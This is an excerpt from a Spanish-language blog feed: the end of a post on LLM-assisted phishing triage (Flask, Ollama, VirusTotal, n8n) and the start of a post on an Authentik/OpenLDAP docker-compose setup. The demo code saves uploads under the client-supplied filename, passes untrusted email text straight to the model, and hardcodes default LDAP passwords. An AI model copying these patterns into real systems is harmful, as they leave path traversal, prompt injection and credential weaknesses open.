        <span class="hljs-comment"># Extraer el contenido del correo desde el cuerpo de la solicitud POST</span>
        data = request.get_json()  <span class="hljs-comment"># Asegurarse de que se obtiene un JSON parseado</span>

        <span class="hljs-comment"># Verificar si 'email_content' está en el JSON</span>
        email_content = data.get(<span class="hljs-string">'email_content'</span>)
        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> email_content:
            <span class="hljs-keyword">return</span> jsonify({<span class="hljs-string">"error"</span>: <span class="hljs-string">"El contenido del correo es requerido."</span>}), <span class="hljs-number">400</span>

        <span class="hljs-comment"># Verificar si 'from' está en el JSON</span>
        email_from = data.get(<span class="hljs-string">'from'</span>)
        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> email_from:
            <span class="hljs-keyword">return</span> jsonify({<span class="hljs-string">"error"</span>: <span class="hljs-string">"El campo 'from' es requerido."</span>}), <span class="hljs-number">400</span>

        <span class="hljs-comment"># Construir el mensaje a ser enviado al modelo</span>
        model_messages = [
            {
                <span class="hljs-string">"role"</span>: <span class="hljs-string">"system"</span>,
                <span class="hljs-string">"content"</span>: <span class="hljs-string">"Analyze the provided email content and metadata to determine if it's a potential phishing attempt. Provide your analysis in a structured format matching the SimplePhishingAnalysis model. Important the response in HTML Format"</span>,
            },
            {
                <span class="hljs-string">"role"</span>: <span class="hljs-string">"user"</span>,
                <span class="hljs-string">"content"</span>: email_content,  <span class="hljs-comment"># Aquí se incluye el contenido del correo</span>
            }
        ]

        <span class="hljs-comment"># Llamada al modelo local de Ollama para analizar el correo</span>
        response = ollama.chat(
            model=os.getenv(<span class="hljs-string">'OLLAMA_MODEL'</span>, <span class="hljs-string">'gemma2:9b-instruct-q4_K_M'</span>),  <span class="hljs-comment"># Usar la variable de entorno para el modelo</span>
            messages=model_messages
        )

        <span class="hljs-comment"># Como `ollama.chat` devuelve una cadena, la parseamos para agregar 'from'</span>
        analysis_result = {<span class="hljs-string">"result"</span>: response, <span class="hljs-string">"from"</span>: email_from}

        <span class="hljs-keyword">return</span> jsonify({<span class="hljs-string">"analysis_result"</span>: analysis_result})
    <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
        <span class="hljs-keyword">return</span> jsonify({<span class="hljs-string">"error"</span>: str(e)}), <span class="hljs-number">500</span>
</code></pre>
<h3 id="heading-metodo-analyze-virus-total">Metodo Analyze Virus Total</h3>
<pre><code class="lang-python"><span class="hljs-comment"># Endpoint para manejar el análisis de archivos</span>
<span class="hljs-meta">@app.route('/analyze', methods=['POST'])</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">analyze_file</span>():</span>
    <span class="hljs-keyword">try</span>:
        <span class="hljs-comment"># Verificar si la clave API está cargada</span>
        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> API_KEY:
            <span class="hljs-keyword">return</span> jsonify({<span class="hljs-string">"error"</span>: <span class="hljs-string">"API Key not found"</span>}), <span class="hljs-number">400</span>

        <span class="hljs-comment"># Verificar si se ha incluido un archivo en la solicitud</span>
        <span class="hljs-keyword">if</span> <span class="hljs-string">'file'</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> request.files:
            <span class="hljs-keyword">return</span> jsonify({<span class="hljs-string">"error"</span>: <span class="hljs-string">"No file part in the request"</span>}), <span class="hljs-number">400</span>

        <span class="hljs-comment"># Obtener el archivo desde la solicitud</span>
        file = request.files[<span class="hljs-string">'file'</span>]

        <span class="hljs-comment"># Verificar si el archivo tiene un nombre</span>
        <span class="hljs-keyword">if</span> file.filename == <span class="hljs-string">''</span>:
            <span class="hljs-keyword">return</span> jsonify({<span class="hljs-string">"error"</span>: <span class="hljs-string">"No selected file"</span>}), <span class="hljs-number">400</span>

        <span class="hljs-comment"># Si el archivo existe, proceder con el análisis</span>
        <span class="hljs-keyword">if</span> file:
            <span class="hljs-comment"># Guardar el archivo temporalmente para enviarlo a VirusTotal</span>
            temp_path = Path(<span class="hljs-string">f"/tmp/<span class="hljs-subst">{file.filename}</span>"</span>)
            file.save(temp_path)

            <span class="hljs-comment"># Abrir el archivo en modo binario y enviarlo para análisis</span>
            <span class="hljs-keyword">with</span> open(temp_path, <span class="hljs-string">'rb'</span>) <span class="hljs-keyword">as</span> f:
                params = {<span class="hljs-string">'apikey'</span>: API_KEY}
                files = {<span class="hljs-string">'file'</span>: (file.filename, f)}
                response = requests.post(upload_url, files=files, params=params)

            <span class="hljs-comment"># Verificar si la subida fue exitosa</span>
            <span class="hljs-keyword">if</span> response.status_code == <span class="hljs-number">200</span>:
                result = response.json()
                scan_id = result[<span class="hljs-string">'scan_id'</span>]

                <span class="hljs-comment"># Esperar para que el análisis esté listo</span>
                time.sleep(<span class="hljs-number">10</span>)

                <span class="hljs-comment"># Consultar el reporte utilizando el scan_id</span>
                report_params = {<span class="hljs-string">'apikey'</span>: API_KEY, <span class="hljs-string">'resource'</span>: scan_id}
                report_response = requests.get(report_url, params=report_params)

                <span class="hljs-comment"># Verificar si la recuperación del reporte fue exitosa</span>
                <span class="hljs-keyword">if</span> report_response.status_code == <span class="hljs-number">200</span>:
                    report_result = report_response.json()

                    <span class="hljs-comment"># Obtener el número de motores antivirus que marcaron el archivo como malicioso</span>
                    positives = report_result.get(<span class="hljs-string">'positives'</span>, <span class="hljs-number">0</span>)
                    total = report_result.get(<span class="hljs-string">'total'</span>, <span class="hljs-number">0</span>)

                    <span class="hljs-comment"># Construir el objeto resultado para retornarlo en formato JSON</span>
                    file_result = {
                        <span class="hljs-string">"file_name"</span>: file.filename,
                        <span class="hljs-string">"scan_id"</span>: scan_id,
                        <span class="hljs-string">"positives"</span>: positives,
                        <span class="hljs-string">"total"</span>: total,
                        <span class="hljs-string">"is_malicious"</span>: positives &gt; <span class="hljs-number">0</span>,
                        <span class="hljs-string">"permalink"</span>: report_result.get(<span class="hljs-string">'permalink'</span>)
                    }

                    <span class="hljs-keyword">return</span> jsonify(file_result), <span class="hljs-number">200</span>
                <span class="hljs-keyword">else</span>:
                    <span class="hljs-keyword">return</span> jsonify({<span class="hljs-string">"error"</span>: <span class="hljs-string">"Error retrieving report from VirusTotal"</span>}), <span class="hljs-number">500</span>
            <span class="hljs-keyword">else</span>:
                <span class="hljs-keyword">return</span> jsonify({<span class="hljs-string">"error"</span>: <span class="hljs-string">"Error uploading file to VirusTotal"</span>}), <span class="hljs-number">500</span>
    <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
        <span class="hljs-keyword">return</span> jsonify({<span class="hljs-string">"error"</span>: str(e)}), <span class="hljs-number">500</span>
</code></pre>
<h3 id="heading-metodo-format-text">Metodo Format Text</h3>
<pre><code class="lang-python"><span class="hljs-comment"># Endpoint para formatear texto a HTML</span>
<span class="hljs-meta">@app.route('/format_text', methods=['POST'])</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">format_text</span>():</span>
    <span class="hljs-keyword">try</span>:
        <span class="hljs-comment"># Extraer el contenido del texto desde el cuerpo de la solicitud POST</span>
        data = request.get_json()  <span class="hljs-comment"># Asegurarse de que se obtiene un JSON parseado</span>

        <span class="hljs-comment"># Verificar si 'text' está en el JSON</span>
        text = data.get(<span class="hljs-string">'text'</span>)
        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> text:
            <span class="hljs-keyword">return</span> jsonify({<span class="hljs-string">"error"</span>: <span class="hljs-string">"El texto es requerido."</span>}), <span class="hljs-number">400</span>

        <span class="hljs-comment"># Verificar si 'from' está en el JSON</span>
        email_from = data.get(<span class="hljs-string">'from'</span>)
        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> email_from:
            <span class="hljs-keyword">return</span> jsonify({<span class="hljs-string">"error"</span>: <span class="hljs-string">"El campo 'from' es requerido."</span>}), <span class="hljs-number">400</span>

        <span class="hljs-comment"># Construir el mensaje a ser enviado al modelo</span>
        model_messages = [
            {
                <span class="hljs-string">"role"</span>: <span class="hljs-string">"system"</span>,
                <span class="hljs-string">"content"</span>: (
                    <span class="hljs-string">"Formatea el texto proporcionado en HTML. "</span>
                    <span class="hljs-string">"Asegúrate de que la salida esté bien estructurada, visualmente atractiva, y en español. "</span>
                    <span class="hljs-string">"El HTML debe estar organizado según la siguiente estructura:\n"</span>
                    <span class="hljs-string">"- is_potential_phishing: booleano\n"</span>
                    <span class="hljs-string">"- is_malicious: booleano\n"</span>
                    <span class="hljs-string">"- phishing_probability: enum (BAJA, MEDIA, ALTA)\n"</span>
                    <span class="hljs-string">"- suspicious_elements: lista de objetos (elemento, motivo)\n"</span>
                    <span class="hljs-string">"- recommended_actions: lista de acciones recomendadas\n"</span>
                    <span class="hljs-string">"- explanation: explicación"</span>
                )
            },
            {
                <span class="hljs-string">"role"</span>: <span class="hljs-string">"user"</span>,
                <span class="hljs-string">"content"</span>: text  <span class="hljs-comment"># Aquí se incluye el texto a formatear</span>
            }
        ]

        <span class="hljs-comment"># Llamada al modelo local de Ollama para formatear el texto</span>
        response = ollama.chat(
            model=os.getenv(<span class="hljs-string">'OLLAMA_MODEL'</span>, <span class="hljs-string">'gemma2:9b-instruct-q4_K_M'</span>),  <span class="hljs-comment"># Usar la variable de entorno para el modelo</span>
            messages=model_messages
        )

        <span class="hljs-comment"># Limpiar el texto recibido eliminando '```html\n' al inicio y '```' al final</span>
        formatted_html = response.get(<span class="hljs-string">'message'</span>, {}).get(<span class="hljs-string">'content'</span>, <span class="hljs-string">""</span>)
        formatted_html = formatted_html.replace(<span class="hljs-string">"```html\n"</span>, <span class="hljs-string">""</span>).replace(<span class="hljs-string">"```"</span>, <span class="hljs-string">""</span>).strip()

        <span class="hljs-comment"># Incluir 'from' en el resultado JSON</span>
        result = {
            <span class="hljs-string">"formatted_html"</span>: formatted_html,
            <span class="hljs-string">"from"</span>: email_from  <span class="hljs-comment"># Agregar 'from' al resultado</span>
        }

        <span class="hljs-keyword">return</span> jsonify(result)
    <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
        <span class="hljs-keyword">return</span> jsonify({<span class="hljs-string">"error"</span>: str(e)}), <span class="hljs-number">500</span>
</code></pre>
<p>Les dejo el <strong>Dockerfile</strong> para la creación del contenedor. Será importante que el archivo <code>.env</code> tenga la API Key de Virus Total.</p>
<p>En la raíz encontrarán el docker-compose que tiene n8n. Una vez que lo ejecuten, podrán subir la configuración que dejé en <code>config_n8n</code>.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">En mi caso, estoy ejecutando Ollama y la API localmente, pero no sería mala idea agregar ambos contenedores al <code>docker-compose</code> para tener un solo archivo de ejecución.</div>
</div>

<h2 id="heading-workflow">Workflow</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729113683174/e9c3a434-3d77-4d75-a772-b07511c05efe.png" alt class="image--center mx-auto" /></p>
<p>El flujo de trabajo, en una primera instancia, verifica si el correo reportado tiene o no adjuntos. Si los tiene, realizará una iteración para determinar cuántos deben enviarse a analizar a Virus Total. Unifica las respuestas, tanto del cuerpo del correo como de los adjuntos, para luego crear la respuesta al usuario que tenía la duda. De caso contrario analizara el cuerpo y luego generara la respuesta.</p>
<h2 id="heading-ollama">Ollama</h2>
<p>Vamos a utilizar Ollama, para ello lo descargamos. En mi caso voy a usar <strong>gemma2:9b-instruct-q4_K_M</strong> como modelo. ¿Por qué usaremos gemma? Por ser conocido por su gran rendimiento en relación con su tamaño, esa es la justificación.</p>
<p>Para instalar el modelo, ejecutamos <code>ollama pull gemma2:9b-instruct-q4_K_M</code>.</p>
<p>Aunque la detección de phishing basada en LLM ofrece una gran capacidad de adaptación y comprensión contextual, pero no se puede confiar solo en ella. Para una seguridad completa, es esencial integrar este enfoque con los métodos de detección tradicionales. Las herramientas de análisis estático que señalan Indicadores de Compromiso (IoC) conocidos, como URL sospechosas o archivos adjuntos, siguen siendo componentes vitales de una estrategia de seguridad sólida.</p>
<p>Utilizamos la biblioteca Instructor con <strong>Pydantic</strong> para crear modelos de datos sólidos para nuestros análisis. Debemos verlo como plantillas para organizar los datos.</p>
<p>Al definir estos modelos por adelantado, nos aseguramos de que los resultados de nuestros análisis estén estructurados de forma coherente.</p>
<pre><code class="lang-python"><span class="hljs-comment"># Definición de modelos Pydantic para el análisis estructurado</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">PhishingProbability</span>(<span class="hljs-params">str, Enum</span>):</span>
    LOW = <span class="hljs-string">"low"</span>
    MEDIUM = <span class="hljs-string">"medium"</span>
    HIGH = <span class="hljs-string">"high"</span>

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">SuspiciousElement</span>(<span class="hljs-params">BaseModel</span>):</span>
    element: str
    reason: str

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">SimplePhishingAnalysis</span>(<span class="hljs-params">BaseModel</span>):</span>
    is_potential_phishing: bool
    is_malicious: bool
    phishing_probability: PhishingProbability
    suspicious_elements: List[SuspiciousElement]
    recommended_actions: List[str]
    explanation: str
</code></pre>
<p>Para el prompt del sistema, utilizaremos una instrucción simple:</p>
<blockquote>
<p>Analyze the provided email content and metadata to determine if it's a potential phishing attempt. Provide your analysis in a structured format matching the SimplePhishingAnalysis model. Important the response in HTML Format.</p>
</blockquote>
<pre><code class="lang-python">        <span class="hljs-comment"># Construir el mensaje a ser enviado al modelo</span>
        model_messages = [
            {
                <span class="hljs-string">"role"</span>: <span class="hljs-string">"system"</span>,
                <span class="hljs-string">"content"</span>: <span class="hljs-string">"Analyze the provided email content and metadata to determine if it's a potential phishing attempt. Provide your analysis in a structured format matching the SimplePhishingAnalysis model. Important the response in HTML Format"</span>,
            },
            {
                <span class="hljs-string">"role"</span>: <span class="hljs-string">"user"</span>,
                <span class="hljs-string">"content"</span>: email_content,  <span class="hljs-comment"># Aquí se incluye el contenido del correo</span>
            }
        ]

        <span class="hljs-comment"># Llamada al modelo local de Ollama para analizar el correo</span>
        response = ollama.chat(
            model=os.getenv(<span class="hljs-string">'OLLAMA_MODEL'</span>, <span class="hljs-string">'gemma2:9b-instruct-q4_K_M'</span>),  <span class="hljs-comment"># Usar la variable de entorno para el modelo</span>
            messages=model_messages
        )
</code></pre>
<h3 id="heading-prueba-de-concepto">Prueba de Concepto</h3>
<p>Vamos a enviar este correo, para que sea analizado por nuestro Workflow.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729171192141/fafcaad6-5049-48cb-8e49-a9d52286fdf8.png" alt class="image--center mx-auto" /></p>
<p>Aca vemos las llamadas de nuestra API.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729121940502/d142ca11-2448-4bc6-9530-7080b51e1a4b.png" alt class="image--center mx-auto" /></p>
<p>Aquí el análisis que creó nuestra LLM.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729171213251/02d44c8d-d325-4c83-a33d-46352847cd36.png" alt class="image--center mx-auto" /></p>
<p>¡Uala! Ya tenemos el reporte para el análisis por parte del usuario. Queda bastante por mejorar y perfeccionar nuestro reporte, pero ya es un comienzo. Espero que les sea útil y disfruten modificándolo.</p>
<h3 id="heading-referencias">Referencias</h3>
<p><a target="_blank" href="https://apwg.org/">https://apwg.org/</a></p>
<p><a target="_blank" href="https://medium.com/@theofoucher/leveraging-llms-for-phishing-email-detection-8e480dfd3bad">https://medium.com/@theofoucher/leveraging-llms-for-phishing-email-detection-8e480dfd3bad</a></p>
]]></content:encoded></item><item><title><![CDATA[Gobernando Identidades Corporativas]]></title><description><![CDATA[Infraestructura
La idea es manejar nuestras identidades con Authentik. ¿Qué es Authentik? Es una solución que hará que el registro de nuestros usuarios sea más fácil, eliminando la necesidad de tareas manuales. Es una manera sencilla de integrarse co...]]></description><link>https://blog.santiagoagustinfernandez.com/gobernando-identidades-corporativas</link><guid isPermaLink="true">https://blog.santiagoagustinfernandez.com/gobernando-identidades-corporativas</guid><category><![CDATA[IDM]]></category><category><![CDATA[Authentik]]></category><category><![CDATA[proxmox]]></category><dc:creator><![CDATA[Santiago Fernandez]]></dc:creator><pubDate>Wed, 09 Oct 2024 15:46:54 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1730208949457/80b1ae10-7adc-49c6-9d27-a58d19bb5b13.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-infraestructura">Infraestructura</h2>
<p>La idea es manejar nuestras identidades con Authentik. ¿Qué es Authentik? Es una solución que hará que el registro de nuestros usuarios sea más fácil, eliminando la necesidad de tareas manuales. Es una manera sencilla de integrarse con nuestro entorno actual, sin tener que hacer grandes cambios. Además, es compatible con la mayoría de los proveedores como OAuth2, SAML, LDAP y SCIM.</p>
<p>En nuestro caso tendremos las identidades corporativas en un IDP que sera <strong>OpenLDAP</strong>. La idea es que los usuarios que tenemos en este directorio activo logren ingresar a nuestro <strong>Proxmox</strong> via OAuth2 como SSO.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728485396447/854db2ad-3a8b-4188-ae3a-4bda95c23655.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-docker-compose">Docker Compose</h3>
<p>Vamos a crear un ambiente para gobernar nuestras corporativas para ello vamos a correr nuestro <strong>docker-compose.yaml</strong> que es el siguiente:</p>
<pre><code class="lang-yaml"><span class="hljs-attr">services:</span>
  <span class="hljs-attr">postgresql:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">docker.io/library/postgres:16-alpine</span>
    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'ldap-auth'</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">unless-stopped</span>
    <span class="hljs-attr">healthcheck:</span>
      <span class="hljs-attr">test:</span> [<span class="hljs-string">"CMD-SHELL"</span>, <span class="hljs-string">"pg_isready -d $${POSTGRES_DB} -U $${POSTGRES_USER}"</span>]
      <span class="hljs-attr">start_period:</span> <span class="hljs-string">20s</span>
      <span class="hljs-attr">interval:</span> <span class="hljs-string">30s</span>
      <span class="hljs-attr">retries:</span> <span class="hljs-number">5</span>
      <span class="hljs-attr">timeout:</span> <span class="hljs-string">5s</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">database:/var/lib/postgresql/data</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">POSTGRES_PASSWORD:</span> <span class="hljs-string">${PG_PASS:?database</span> <span class="hljs-string">password</span> <span class="hljs-string">required}</span>
      <span class="hljs-attr">POSTGRES_USER:</span> <span class="hljs-string">${PG_USER:-authentik}</span>
      <span class="hljs-attr">POSTGRES_DB:</span> <span class="hljs-string">${PG_DB:-authentik}</span>
    <span class="hljs-attr">env_file:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">.env</span>
  <span class="hljs-attr">redis:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">docker.io/library/redis:alpine</span>
    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'ldap-auth'</span>
    <span class="hljs-attr">command:</span> <span class="hljs-string">--save</span> <span class="hljs-number">60</span> <span class="hljs-number">1</span> <span class="hljs-string">--loglevel</span> <span class="hljs-string">warning</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">unless-stopped</span>
    <span class="hljs-attr">healthcheck:</span>
      <span class="hljs-attr">test:</span> [<span class="hljs-string">"CMD-SHELL"</span>, <span class="hljs-string">"redis-cli ping | grep PONG"</span>]
      <span class="hljs-attr">start_period:</span> <span class="hljs-string">20s</span>
      <span class="hljs-attr">interval:</span> <span class="hljs-string">30s</span>
      <span class="hljs-attr">retries:</span> <span class="hljs-number">5</span>
      <span class="hljs-attr">timeout:</span> <span class="hljs-string">3s</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">redis:/data</span>
  <span class="hljs-attr">server:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">${AUTHENTIK_IMAGE:-ghcr.io/goauthentik/server}:${AUTHENTIK_TAG:-2024.8.3}</span>
    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'ldap-auth'</span>    
    <span class="hljs-attr">restart:</span> <span class="hljs-string">unless-stopped</span>
    <span class="hljs-attr">command:</span> <span class="hljs-string">server</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">AUTHENTIK_REDIS__HOST:</span> <span class="hljs-string">redis</span>
      <span class="hljs-attr">AUTHENTIK_POSTGRESQL__HOST:</span> <span class="hljs-string">postgresql</span>
      <span class="hljs-attr">AUTHENTIK_POSTGRESQL__USER:</span> <span class="hljs-string">${PG_USER:-authentik}</span>
      <span class="hljs-attr">AUTHENTIK_POSTGRESQL__NAME:</span> <span class="hljs-string">${PG_DB:-authentik}</span>
      <span class="hljs-attr">AUTHENTIK_POSTGRESQL__PASSWORD:</span> <span class="hljs-string">${PG_PASS}</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./media:/media</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./custom-templates:/templates</span>
    <span class="hljs-attr">env_file:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">.env</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"${COMPOSE_PORT_HTTP:-9000}:9000"</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"${COMPOSE_PORT_HTTPS:-9443}:9443"</span>
    <span class="hljs-attr">depends_on:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">postgresql</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">redis</span>
  <span class="hljs-attr">worker:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">${AUTHENTIK_IMAGE:-ghcr.io/goauthentik/server}:${AUTHENTIK_TAG:-2024.8.3}</span>
    <span class="hljs-attr">networks:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">'ldap-auth'</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">unless-stopped</span>
    <span class="hljs-attr">command:</span> <span class="hljs-string">worker</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">AUTHENTIK_REDIS__HOST:</span> <span class="hljs-string">redis</span>
      <span class="hljs-attr">AUTHENTIK_POSTGRESQL__HOST:</span> <span class="hljs-string">postgresql</span>
      <span class="hljs-attr">AUTHENTIK_POSTGRESQL__USER:</span> <span class="hljs-string">${PG_USER:-authentik}</span>
      <span class="hljs-attr">AUTHENTIK_POSTGRESQL__NAME:</span> <span class="hljs-string">${PG_DB:-authentik}</span>
      <span class="hljs-attr">AUTHENTIK_POSTGRESQL__PASSWORD:</span> <span class="hljs-string">${PG_PASS}</span>
    <span class="hljs-comment"># `user: root` and the docker socket volume are optional.</span>
    <span class="hljs-comment"># See more for the docker socket integration here:</span>
    <span class="hljs-comment"># https://goauthentik.io/docs/outposts/integrations/docker</span>
    <span class="hljs-comment"># Removing `user: root` also prevents the worker from fixing the permissions</span>
    <span class="hljs-comment"># on the mounted folders, so when removing this make sure the folders have the correct UID/GID</span>
    <span class="hljs-comment"># (1000:1000 by default)</span>
    <span class="hljs-attr">user:</span> <span class="hljs-string">root</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">/var/run/docker.sock:/var/run/docker.sock</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./media:/media</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./certs:/certs</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./custom-templates:/templates</span>
    <span class="hljs-attr">env_file:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">.env</span>
    <span class="hljs-attr">depends_on:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">postgresql</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">redis</span>

  <span class="hljs-attr">openldap:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">osixia/openldap:1.5.0</span>
    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'ldap-auth'</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">openldap</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">LDAP_LOG_LEVEL:</span> <span class="hljs-string">"256"</span>
      <span class="hljs-attr">LDAP_ORGANISATION:</span> <span class="hljs-string">"Example Inc."</span>
      <span class="hljs-attr">LDAP_DOMAIN:</span> <span class="hljs-string">"esprueba.com"</span>
      <span class="hljs-attr">LDAP_BASE_DN:</span> <span class="hljs-string">"dc=esprueba,dc=com"</span>
      <span class="hljs-attr">LDAP_ADMIN_PASSWORD:</span> <span class="hljs-string">"admin"</span>
      <span class="hljs-attr">LDAP_CONFIG_PASSWORD:</span> <span class="hljs-string">"config"</span>
      <span class="hljs-attr">LDAP_READONLY_USER:</span> <span class="hljs-string">"false"</span>
      <span class="hljs-comment">#LDAP_READONLY_USER_USERNAME: "readonly"</span>
      <span class="hljs-comment">#LDAP_READONLY_USER_PASSWORD: "readonly"</span>
      <span class="hljs-attr">LDAP_RFC2307BIS_SCHEMA:</span> <span class="hljs-string">"false"</span>
      <span class="hljs-attr">LDAP_BACKEND:</span> <span class="hljs-string">"mdb"</span>
      <span class="hljs-attr">LDAP_TLS:</span> <span class="hljs-string">"true"</span>
      <span class="hljs-attr">LDAP_TLS_CRT_FILENAME:</span> <span class="hljs-string">"ldap.crt"</span>
      <span class="hljs-attr">LDAP_TLS_KEY_FILENAME:</span> <span class="hljs-string">"ldap.key"</span>
      <span class="hljs-attr">LDAP_TLS_DH_PARAM_FILENAME:</span> <span class="hljs-string">"dhparam.pem"</span>
      <span class="hljs-attr">LDAP_TLS_CA_CRT_FILENAME:</span> <span class="hljs-string">"ca.crt"</span>
      <span class="hljs-attr">LDAP_TLS_ENFORCE:</span> <span class="hljs-string">"false"</span>
      <span class="hljs-attr">LDAP_TLS_CIPHER_SUITE:</span> <span class="hljs-string">"SECURE256:-VERS-SSL3.0"</span>
      <span class="hljs-attr">LDAP_TLS_VERIFY_CLIENT:</span> <span class="hljs-string">"demand"</span>
      <span class="hljs-attr">LDAP_REPLICATION:</span> <span class="hljs-string">"false"</span>
      <span class="hljs-comment">#LDAP_REPLICATION_CONFIG_SYNCPROV: 'binddn="cn=admin,cn=config" bindmethod=simple credentials="$$LDAP_CONFIG_PASSWORD" searchbase="cn=config" type=refreshAndPersist retry="60 +" timeout=1 starttls=critical'</span>
      <span class="hljs-comment">#LDAP_REPLICATION_DB_SYNCPROV: 'binddn="cn=admin,$$LDAP_BASE_DN" bindmethod=simple credentials="$$LDAP_ADMIN_PASSWORD" searchbase="$$LDAP_BASE_DN" type=refreshAndPersist interval=00:00:00:10 retry="60 +" timeout=1 starttls=critical'</span>
      <span class="hljs-comment">#LDAP_REPLICATION_HOSTS: "#PYTHON2BASH:['ldap://ldap.example.org','ldap://ldap2.example.org']"</span>
      <span class="hljs-attr">KEEP_EXISTING_CONFIG:</span> <span class="hljs-string">"false"</span>
      <span class="hljs-attr">LDAP_REMOVE_CONFIG_AFTER_SETUP:</span> <span class="hljs-string">"true"</span>
      <span class="hljs-attr">LDAP_SSL_HELPER_PREFIX:</span> <span class="hljs-string">"ldap"</span>
    <span class="hljs-attr">tty:</span> <span class="hljs-literal">true</span>
    <span class="hljs-attr">stdin_open:</span> <span class="hljs-literal">true</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">/var/lib/ldap</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">/etc/ldap/slapd.d</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">/container/service/slapd/assets/certs/</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"389:389"</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"636:636"</span>
    <span class="hljs-comment"># For replication to work correctly, domainname and hostname must be</span>
    <span class="hljs-comment"># set correctly so that "hostname"."domainname" equates to the</span>
    <span class="hljs-comment"># fully-qualified domain name for the host.</span>
    <span class="hljs-attr">domainname:</span> <span class="hljs-string">"esprueba.com"</span>
    <span class="hljs-attr">hostname:</span> <span class="hljs-string">"ldap-server"</span>

  <span class="hljs-attr">phpldapadmin:</span>
    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'ldap-auth'</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">osixia/phpldapadmin:latest</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">phpldapadmin</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">PHPLDAPADMIN_LDAP_HOSTS:</span> <span class="hljs-string">"openldap"</span>
      <span class="hljs-attr">PHPLDAPADMIN_HTTPS:</span> <span class="hljs-string">"false"</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"8090:80"</span>
    <span class="hljs-attr">depends_on:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">openldap</span>

<span class="hljs-attr">networks:</span>
  <span class="hljs-attr">ldap-auth:</span>

<span class="hljs-attr">volumes:</span>
  <span class="hljs-attr">database:</span>
    <span class="hljs-attr">driver:</span> <span class="hljs-string">local</span>
  <span class="hljs-attr">redis:</span>
    <span class="hljs-attr">driver:</span> <span class="hljs-string">local</span>
</code></pre>
<p>Vamos a crear un archivo de variables de entorno. Se necesita generar una contraseña y una clave secreta. Utilice un generador de contraseñas seguro de su elección, como <strong>pwgen</strong>, o puede utilizar <strong>openssl</strong> de esta manera:</p>
